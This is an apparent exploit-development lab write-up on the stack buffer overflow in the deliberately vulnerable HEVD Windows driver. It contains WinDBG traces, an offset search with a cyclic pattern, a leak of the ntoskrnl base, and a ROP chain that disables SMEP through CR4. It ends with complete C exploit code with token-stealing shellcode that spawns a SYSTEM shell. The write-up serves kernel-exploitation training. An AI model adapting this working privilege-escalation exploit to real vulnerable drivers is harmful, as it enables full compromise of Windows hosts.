PwnLand

HEVD_IOCTL_BUFFER_OVERFLOW_STACK

This is the first one I am doing from the HEVD, it is a classic stack buffer overflow as seen below function block showcasing a memmove call with controlled size and input buffer:

Untitled

Luckily, we have been given the .pdb file which we can load into the debugger and get used to working with the WinDBG. I have set a breakpoint at the TriggerBufferOverflowStack and we can see a memcpy call instead of the memmove , technically no change in the way they work it is more of an optimization that replaces the function. We can use DeviceIoControl function to invoke the IOCTL to interact with the driver.

Once we execute our exploit, we see that we hit a breakpoint on debugger.

1: kd> u rip L40
HEVD!TriggerBufferOverflowStack [c:\projects\hevd\driver\hevd\bufferoverflowstack.c @ 70]:
fffff807`3d0965b4 48895c2408      mov     qword ptr [rsp+8],rbx
fffff807`3d0965b9 4889742410      mov     qword ptr [rsp+10h],rsi
fffff807`3d0965be 48897c2418      mov     qword ptr [rsp+18h],rdi
fffff807`3d0965c3 4154            push    r12
fffff807`3d0965c5 4156            push    r14
fffff807`3d0965c7 4157            push    r15
fffff807`3d0965c9 4881ec20080000  sub     rsp,820h
fffff807`3d0965d0 488bf2          mov     rsi,rdx
fffff807`3d0965d3 488bf9          mov     rdi,rcx
fffff807`3d0965d6 33db            xor     ebx,ebx
fffff807`3d0965d8 41bc00080000    mov     r12d,800h
fffff807`3d0965de 458bc4          mov     r8d,r12d
fffff807`3d0965e1 33d2            xor     edx,edx
fffff807`3d0965e3 488d4c2420      lea     rcx,[rsp+20h]
fffff807`3d0965e8 e813aff7ff      call    HEVD!memset (fffff807`3d011500)
fffff807`3d0965ed 90              nop
fffff807`3d0965ee 448d4301        lea     r8d,[rbx+1]
fffff807`3d0965f2 418bd4          mov     edx,r12d
fffff807`3d0965f5 488bcf          mov     rcx,rdi
fffff807`3d0965f8 ff154abaf7ff    call    qword ptr [HEVD!_imp_ProbeForRead (fffff807`3d012048)]
fffff807`3d0965fe 4c8bcf          mov     r9,rdi
fffff807`3d096601 4c8d0578290000  lea     r8,[HEVD! ?? ::NNGAKEGL::`string' (fffff807`3d098f80)]
fffff807`3d096608 448d7b03        lea     r15d,[rbx+3]
fffff807`3d09660c 418bd7          mov     edx,r15d
fffff807`3d09660f 448d734d        lea     r14d,[rbx+4Dh]
fffff807`3d096613 418bce          mov     ecx,r14d
fffff807`3d096616 ff15ecb9f7ff    call    qword ptr [HEVD!_imp_DbgPrintEx (fffff807`3d012008)]
fffff807`3d09661c 4c8bce          mov     r9,rsi
fffff807`3d09661f 4c8d057a290000  lea     r8,[HEVD! ?? ::NNGAKEGL::`string' (fffff807`3d098fa0)]
fffff807`3d096626 418bd7          mov     edx,r15d
fffff807`3d096629 418bce          mov     ecx,r14d
fffff807`3d09662c ff15d6b9f7ff    call    qword ptr [HEVD!_imp_DbgPrintEx (fffff807`3d012008)]
fffff807`3d096632 4c8d4c2420      lea     r9,[rsp+20h]
fffff807`3d096637 4c8d0582290000  lea     r8,[HEVD! ?? ::NNGAKEGL::`string' (fffff807`3d098fc0)]
fffff807`3d09663e 418bd7          mov     edx,r15d
fffff807`3d096641 418bce          mov     ecx,r14d
fffff807`3d096644 ff15beb9f7ff    call    qword ptr [HEVD!_imp_DbgPrintEx (fffff807`3d012008)]
fffff807`3d09664a 458bcc          mov     r9d,r12d
fffff807`3d09664d 4c8d058c290000  lea     r8,[HEVD! ?? ::NNGAKEGL::`string' (fffff807`3d098fe0)]
fffff807`3d096654 418bd7          mov     edx,r15d
fffff807`3d096657 418bce          mov     ecx,r14d
fffff807`3d09665a ff15a8b9f7ff    call    qword ptr [HEVD!_imp_DbgPrintEx (fffff807`3d012008)]
fffff807`3d096660 4c8d05892a0000  lea     r8,[HEVD! ?? ::NNGAKEGL::`string' (fffff807`3d0990f0)]
fffff807`3d096667 418bd7          mov     edx,r15d
fffff807`3d09666a 418bce          mov     ecx,r14d
fffff807`3d09666d ff1595b9f7ff    call    qword ptr [HEVD!_imp_DbgPrintEx (fffff807`3d012008)]
fffff807`3d096673 4c8bc6          mov     r8,rsi
fffff807`3d096676 488bd7          mov     rdx,rdi
fffff807`3d096679 488d4c2420      lea     rcx,[rsp+20h]
fffff807`3d09667e e83dabf7ff      call    HEVD!memcpy (fffff807`3d0111c0)
fffff807`3d096683 eb1b            jmp     HEVD!TriggerBufferOverflowStack+0xec (fffff807`3d0966a0)
fffff807`3d096685 8bd8            mov     ebx,eax
fffff807`3d096687 448bc8          mov     r9d,eax
fffff807`3d09668a 4c8d057f260000  lea     r8,[HEVD! ?? ::NNGAKEGL::`string' (fffff807`3d098d10)]
fffff807`3d096691 ba03000000      mov     edx,3
fffff807`3d096696 8d4a4a          lea     ecx,[rdx+4Ah]
fffff807`3d096699 ff1569b9f7ff    call    qword ptr [HEVD!_imp_DbgPrintEx (fffff807`3d012008)]
fffff807`3d09669f 90              nop
fffff807`3d0966a0 8bc3            mov     eax,ebx
fffff807`3d0966a2 4c8d9c2420080000 lea     r11,[rsp+820h]
fffff807`3d0966aa 498b5b20        mov     rbx,qword ptr [r11+20h]
fffff807`3d0966ae 498b7328        mov     rsi,qword ptr [r11+28h]
fffff807`3d0966b2 498b7b30        mov     rdi,qword ptr [r11+30h]
fffff807`3d0966b6 498be3          mov     rsp,r11
1: kd> bp fffff807`3d09667e

Then we set a breakpoint at the corresponding memcpy call and continue the execution. Since we have enabled displaying of the debugging message we can see that kernel buffer size is 0x800 and our user input is 0x200

1: kd> g
[+] UserBuffer: 0x000001F268370000
[+] UserBuffer Size: 0x200
[+] KernelBuffer: 0xFFFFF905982268F0
[+] KernelBuffer Size: 0x800
[+] Triggering Buffer Overflow in Stack
Breakpoint 2 hit
HEVD!TriggerBufferOverflowStack+0xca:
fffff807`3d09667e e83dabf7ff      call    HEVD!memcpy (fffff807`3d0111c0)
1: kd> r
rax=0000000000000000 rbx=0000000000000000 rcx=fffff905982268f0
rdx=000001f268370000 rsi=0000000000000200 rdi=000001f268370000
rip=fffff8073d09667e rsp=fffff905982268d0 rbp=ffffd0038a0170f0
 r8=0000000000000200  r9=0000000000000003 r10=0000000000000000
r11=0000000000000010 r12=0000000000000800 r13=ffffd0038547cbc0
r14=000000000000004d r15=0000000000000003
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040282
HEVD!TriggerBufferOverflowStack+0xca:
fffff807`3d09667e e83dabf7ff      call    HEVD!memcpy (fffff807`3d0111c0)

Now, let’s just send a bigger chunk of data to the driver

#include <stdio.h>
#include <Windows.h>
 
 
int main()
{
    HANDLE hDriver = CreateFile("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }
 
    LPVOID uBuffer = VirtualAlloc(NULL, 2800, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlFillMemory(uBuffer, 2800, 'A');
    DeviceIoControl(hDriver, 0x222003, (LPVOID)uBuffer, 2800, NULL, 0, NULL, NULL);
}

Now the size of our input buffer is 0xAF0 , considerably bigger than the kernel buffer size where out input is copied:

1: kd> g
[+] UserBuffer: 0x00000200D6780000
[+] UserBuffer Size: 0xAF0
[+] KernelBuffer: 0xFFFFF90599C768F0
[+] KernelBuffer Size: 0x800
[+] Triggering Buffer Overflow in Stack
Breakpoint 2 hit
HEVD!TriggerBufferOverflowStack+0xca:
fffff807`3d09667e e83dabf7ff      call    HEVD!memcpy (fffff807`3d0111c0)
1: kd> r
rax=0000000000000000 rbx=0000000000000000 rcx=fffff90599c768f0
rdx=00000200d6780000 rsi=0000000000000af0 rdi=00000200d6780000
rip=fffff8073d09667e rsp=fffff90599c768d0 rbp=ffffd0038a017480
 r8=0000000000000af0  r9=0000000000000003 r10=0000000000000000
r11=0000000000000010 r12=0000000000000800 r13=ffffd0038547cbc0
r14=000000000000004d r15=0000000000000003
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040282
HEVD!TriggerBufferOverflowStack+0xca:
fffff807`3d09667e e83dabf7ff      call    HEVD!memcpy (fffff807`3d0111c0)
1: kd> ? 0xaf0
Evaluate expression: 2800 = 00000000`00000af0

Executing till the return of the function and we see that stack is now full of A’s and return address has been overwritten:

1: kd> pt
HEVD!TriggerBufferOverflowStack+0x10b:
fffff807`3d0966bf c3              ret
1: kd> dq rsp L10
fffff905`99c77108  41414141`41414141 41414141`41414141
fffff905`99c77118  41414141`41414141 41414141`41414141
fffff905`99c77128  41414141`41414141 41414141`41414141
fffff905`99c77138  41414141`41414141 41414141`41414141
fffff905`99c77148  41414141`41414141 41414141`41414141
fffff905`99c77158  41414141`41414141 41414141`41414141
fffff905`99c77168  41414141`41414141 41414141`41414141
fffff905`99c77178  41414141`41414141 41414141`41414141

Continuing the execution resulted in an access violation because return address is invalid:

1: kd> g
Access violation - code c0000005 (!!! second chance !!!)
HEVD!TriggerBufferOverflowStack+0x10b:
fffff807`3d0966bf c3              ret

Finding buffer size, sending a generated pattern:

#include <stdio.h>
#include <Windows.h>
 
 
int main()
{
    HANDLE hDriver = CreateFile("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }
 
    LPVOID uBuffer = VirtualAlloc(NULL, 2800, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    const char* buffer = {"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D"};
    RtlCopyMemory(uBuffer, buffer, 2500);
    DeviceIoControl(hDriver, 0x222003, (LPVOID)uBuffer, 2800, NULL, 0, NULL, NULL);
}

Copying the pattern which will be on the top of stack at the time of crash:

Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
Machine Name:
Kernel base = 0xfffff804`53c00000 PsLoadedModuleList = 0xfffff804`5482a790
System Uptime: 0 days 0:00:02.047
IOINIT: Built-in driver \FileSystem\luafv failed to initialize with status - 0xC0000034
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
HEVD!TriggerBufferOverflowStack+0x10b:
fffff804`5a4c66bf c3              ret
1: kd> dq rsp L1
ffffed08`d2052108  43327243`31724330

The offset is now 2072:

ζ msf-pattern_offset -q 4332724331724330                                                                                                                                                                                                      
[*] Exact match at offset 2072

Now comes the crucial part, exploitation of this vulnerability for profit and privilege. Execution of shellcode directly on the windows application will result in the BSOD (Blue Screen Of Death), as shown below, when we try to put the shellcode next to the identified execute and try to jump to it for execution will result in ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY

Untitled

Even though we have allocated a memory which will inherently have executed permission but this is where the clear distinction will be made, due to a protection introduced in Windows 8.1 or higher version is called SMEP Supervisor Mode Execution Prevention meaning that kernel will not execute any sort of instruction if it will exist on the user-mode address space.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff802`7c806e40 cc              int     3
0: kd> g
Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff802`7c806e40 cc              int     3
0: kd> !analyze -v
Connected to Windows 10 19041 x64 target at (Mon Jul 29 20:02:51.772 2024 (UTC + 5:30)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
.......................................................
Loading User Symbols
.....
Loading unloaded module list
...
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
An attempt was made to execute non-executable memory.  The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 000001c48fbb0000, Virtual address for the attempted execute.
Arg2: 000000001c54b867, PTE contents.
Arg3: ffffe78ea77b6f80, (reserved)
Arg4: 0000000080000005, (reserved)

Debugging Details:
------------------

Luckily there is a bypass to it. Recalling the ROP techniques we used for the user-mode application for performing series of operation before executing our shellcode from an executed memory region. The SMEP value for enable/disable is held by CR4 register’s 20th bit. Flipping this bit means either turning on or off the SMEP protection on the kernel. This is where the ROP comes in help, we will be using this

Let’s try NULL’ng out the CR4 register using the gadgets from ntoskrnl.exe (this binary is the kernel image of Windows). But before that, since we will have to calculate the base address of this binary for making use of gadgets as we cannot hardcode it due to KASLR.

We can get the ntoskrnl.exe address by calling the EnumDeviceDriverswithin our exploit and then compare the traversed drivers and find the address. This is possible because when we run the exploit, it will run with medium integrity allowing us to enumerate the drivers.

#include <stdio.h>
#include <ostream>
#include <Windows.h>
#include <cstdint>  // For uintptr_t
#include <psapi.h>
#include <iostream>
 
 

uintptr_t getBaseAddr(LPCWSTR drvName) {
    LPVOID drivers[512];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
        WCHAR szDrivers[512];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++) {
            if (GetDeviceDriverBaseNameW(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
                if (wcscmp(szDrivers, drvName) == 0) {
                    return reinterpret_cast<uintptr_t>(drivers[i]);
                }
            }
        }
    }
    return 0;
}

int main()
{
    HANDLE hDriver = CreateFile("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }

    uintptr_t ntBase = getBaseAddr(L"ntoskrnl.exe");
    printf("[*] NTBase:      0x%llx\n", ntBase);
 }

Running the exploit, we get the base address of ntoskrnl.exe basically the holy kernel:

C:\Users\robin\Documents>.\stack-buffer-overflow.exe
[*] NTBase:      0xfffff8060de00000

Now coming to modification of the CR4 to 0 directly, it resulted in failure, there is some more digging that has to be done around it from my end to identify why:

1: kd> p
nt!KiSetClockIntervalToMinimumRequested+0x98:
fffff806`0e0148c8 59              pop     rcx
1: kd> dq rsp L10
ffffc18e`0bad7110  00000000`00000000 fffff806`0e1a0a87
ffffc18e`0bad7120  0000024d`bc500000 41414141`41414141
ffffc18e`0bad7130  41414141`41414141 41414141`41414141
ffffc18e`0bad7140  41414141`41414141 41414141`41414141
ffffc18e`0bad7150  41414141`41414141 41414141`41414141
ffffc18e`0bad7160  41414141`41414141 41414141`41414141
ffffc18e`0bad7170  41414141`41414141 41414141`41414141
ffffc18e`0bad7180  41414141`41414141 41414141`41414141
1: kd> p
nt!KiSetClockIntervalToMinimumRequested+0x99:
fffff806`0e0148c9 c3              ret
1: kd> p
nt!KeFlushCurrentTbImmediately+0x17:
fffff806`0e1a0a87 0f22e1          mov     cr4,rcx
1: kd> p
Unknown exception - code c0000096 (!!! second chance !!!)
nt!KeFlushCurrentTbImmediately+0x17:
fffff806`0e1a0a87 0f22e1          mov     cr4,rcx
1: kd> r cr4
cr4=0000000000b50ef8

But there is another way to do the work, since from the debugger we can know the existence of value inside the CR4 register, we can hardcode it to our exploit with the 20th bit flipped. Once we do that, our ROP chain will be:

buffer | pop_rcx | hardcoded_flipped_value | mov cr4, rcx | shellcode

The final exploit containing a shellcode which will copy the token of a privileged process owned by system and it will write the token our current process and with that we can spawn a cmd.exe which will have elevated privilege:

#include <stdio.h>
#include <ostream>
#include <Windows.h>
#include <cstdint>  // For uintptr_t
#include <psapi.h>
#include <iostream>
 

BYTE sc[256] = {
  0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48,
  0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x4d,
  0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x48,
  0x04, 0x00, 0x00, 0x4d, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00,
  0x49, 0x83, 0xf9, 0x04, 0x75, 0xe5, 0x49, 0x8b, 0x88, 0xb8,
  0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8,
  0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01,
  0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66,
  0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48,
  0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68,
  0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,
  0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa,
  0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48,
  0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
 

uintptr_t getBaseAddr(LPCWSTR drvName) {
    LPVOID drivers[512];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
        WCHAR szDrivers[512];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++) {
            if (GetDeviceDriverBaseNameW(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
                if (wcscmp(szDrivers, drvName) == 0) {
                    return reinterpret_cast<uintptr_t>(drivers[i]);
                }
            }
        }
    }
    return 0;
}

// 0x00000000003a0a87: mov cr4, rcx; ret; 
// 0x00000000002148c8: pop rcx; ret; 

int main()
{
    HANDLE hDriver = CreateFile("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }

    uintptr_t ntBase = getBaseAddr(L"ntoskrnl.exe");
    printf("[*] NTBase:      0x%llx\n", ntBase);

    uintptr_t POP_RCX = ntBase +  0x00000000002148c8; // pop rcx; ret; 
    uintptr_t MOV_CR4_RCX = ntBase + 0x00000000003a0a87; // mov cr4, rcx; ret; 
    int index = 0;  
    LPVOID uBuffer = VirtualAlloc(NULL, 2800, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID uShellcode = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlFillMemory(uBuffer, 2800, 'A');
    RtlCopyMemory(uShellcode, sc, sizeof(sc));
    printf("[!] Ropping our way to system\n");
    uintptr_t* rop = (uintptr_t*)((uintptr_t)uBuffer + 2072);

    *(rop + index++) = POP_RCX;
    *(rop + index++) = 0x000000000b50ef8 ^ 1UL << 20;
    *(rop + index++) = MOV_CR4_RCX;
    *(rop + index++) = (uintptr_t)uShellcode;

    DeviceIoControl(hDriver, 0x222003, (LPVOID)uBuffer, 2800, NULL, 0, NULL, NULL);
    printf("[*] Spawning a shell with elevated privileges\n");
    system("cmd");
}

Confirming the execution of the ROP chain where the CR4 register value is being modified:

0: kd> ba e1 HEVD!TriggerBufferOverflowStack
0: kd> g
Breakpoint 1 hit
HEVD!TriggerBufferOverflowStack:
fffff803`7b0c65b4 48895c2408      mov     qword ptr [rsp+8],rbx
0: kd> pt
HEVD!TriggerBufferOverflowStack+0x10b:
fffff803`7b0c66bf c3              ret
1: kd> p
nt!KiSetClockIntervalToMinimumRequested+0x98:
fffff803`76a148c8 59              pop     rcx
1: kd> p
nt!KiSetClockIntervalToMinimumRequested+0x99:
fffff803`76a148c9 c3              ret
1: kd> 
nt!KeFlushCurrentTbImmediately+0x17:
fffff803`76ba0a87 0f22e1          mov     cr4,rcx
1: kd> 
nt!KeFlushCurrentTbImmediately+0x1a:
fffff803`76ba0a8a c3              ret

Running the exploit, we have spawned the shell as nt authority/system

Untitled